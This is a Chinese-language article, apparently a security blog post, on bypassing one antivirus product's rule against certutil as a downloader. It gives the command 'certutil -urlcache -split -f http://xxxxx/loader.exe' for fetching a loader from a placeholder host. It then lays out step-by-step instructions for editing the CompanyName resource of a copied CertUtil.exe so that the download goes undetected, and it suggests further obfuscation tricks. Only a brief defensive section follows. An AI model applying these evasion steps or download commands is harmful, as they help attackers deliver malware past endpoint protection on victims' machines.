分析某杀软规则库绕过certutil免杀实践
字数 953 2025-08-22 12:22:15
Certutil免杀技术分析与绕过实践
一、Certutil基础利用与拦截现状
Certutil是Windows系统自带的证书管理工具,常用于渗透测试中的文件下载操作。典型利用命令如下:
certutil -urlcache -split -f http://xxxxx/loader.exe
然而,主流杀毒软件已将此命令加入规则库进行拦截。本文将以某杀软为例,分析其拦截规则并探讨绕过方法。
二、杀软规则库分析技术
1. 内存字符串分析
使用火绒剑等工具分析杀软进程内存,搜索与certutil相关的字符串,可发现如下规则格式:
|IN=CertUtil.exe|CN@=Microsoft Corporation|LOLBin=none|
2. 规则字段解析
- IN (InternalName): 可执行文件内部名称
- CN (Company Name): 公司名称信息
- LOLBin: 白利用(Living Off the Land Binaries)标识
三、资源文件修改绕过技术
1. 绕过原理
杀软主要依赖"Microsoft Corporation"这一公司名称字段进行匹配,该信息存储在可执行文件的资源段中。
2. 具体操作步骤
-
获取CertUtil.exe副本
- 从系统目录复制原始文件到工作目录
-
使用Resource Hacker修改资源
- 打开Resource Hacker工具
- 加载CertUtil.exe
- 定位到版本信息资源(VERSION_INFO)
- 删除或修改"CompanyName"字段中的"Microsoft Corporation"
- 保存为新文件(如CertUtil_modified.exe)
-
验证绕过效果
- 使用修改后的文件执行下载命令:
CertUtil_modified.exe -urlcache -split -f http://xxxxx/loader.exe - 观察杀软是否仍进行拦截
- 使用修改后的文件执行下载命令:
四、技术拓展与防御思考
1. 其他可能的绕过方式
- 文件名混淆: 修改CertUtil.exe的文件名
- 参数混淆: 使用非标准参数组合或添加无效参数
- 资源替换: 用其他合法文件的资源信息替换
2. 防御方建议
- 不应仅依赖公司名称等单一特征进行检测
- 应结合行为分析,如检测异常网络连接和文件写入操作
- 可监控certutil等LOLBin工具的非典型使用场景
五、总结
通过分析杀软内存中的规则字符串,定位到关键检测字段为"Microsoft Corporation"公司名称信息。通过资源编辑器修改或删除此信息,可有效绕过该杀软对certutil的检测机制。这种技术原理也可应用于其他LOLBin工具的免杀场景。